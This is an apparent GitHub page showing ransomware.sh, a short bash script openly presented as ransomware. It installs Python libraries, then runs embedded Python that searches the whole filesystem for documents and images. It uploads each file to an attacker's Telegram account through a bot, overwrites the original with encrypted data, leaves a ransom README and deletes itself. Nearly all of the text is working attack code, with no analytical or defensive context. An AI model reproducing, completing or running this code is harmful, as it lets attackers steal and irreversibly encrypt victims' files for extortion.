-
Notifications
You must be signed in to change notification settings - Fork 0
/
ransomware.sh
56 lines (43 loc) · 1.17 KB
/
ransomware.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
apt-get install python3 -y
apt install python3-pip -y
pip install cryptography
pip install telepot
PY_SH=$(cat <<EOF
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import glob
import os
import sys
import telepot
from cryptography.fernet import Fernet
from pathlib import Path
print("starting...\n")
TOKEN = "telegram_bot_token"
ATTACKER = telegram_attacker_id
key = Fernet.generate_key()
print("key: " + str(key))
KEY = Fernet(key)
bot = telepot.Bot(TOKEN)
extensions_list = ["pdf", "docx", "xlsx", "png", "jpg", "jpeg"]
def notify(file_path):
try:
bot.sendDocument(ATTACKER, open(file_path, "rb"))
with open(file_path, "rb") as file:
original = file.read()
encrypted = KEY.encrypt(original)
with open(file_path, "wb") as encrypted_file:
encrypted_file.write(encrypted)
print(file_path)
except:
pass
print("copying and encrypting\n")
for extension in extensions_list:
for file_path in Path("/").rglob("*."+extension):
notify(file_path)
with open("README.topsecretcrypter","w+") as readme:
readme.write("WRITE HERE THE MESSAGE YOU WANT TO APPEAR IN THE README FILE THAT WILL BE GENERATED AFTER THE ENCRYPTION")
EOF
)
python3 -c "$PY_SH"
rm -f ransomware.sh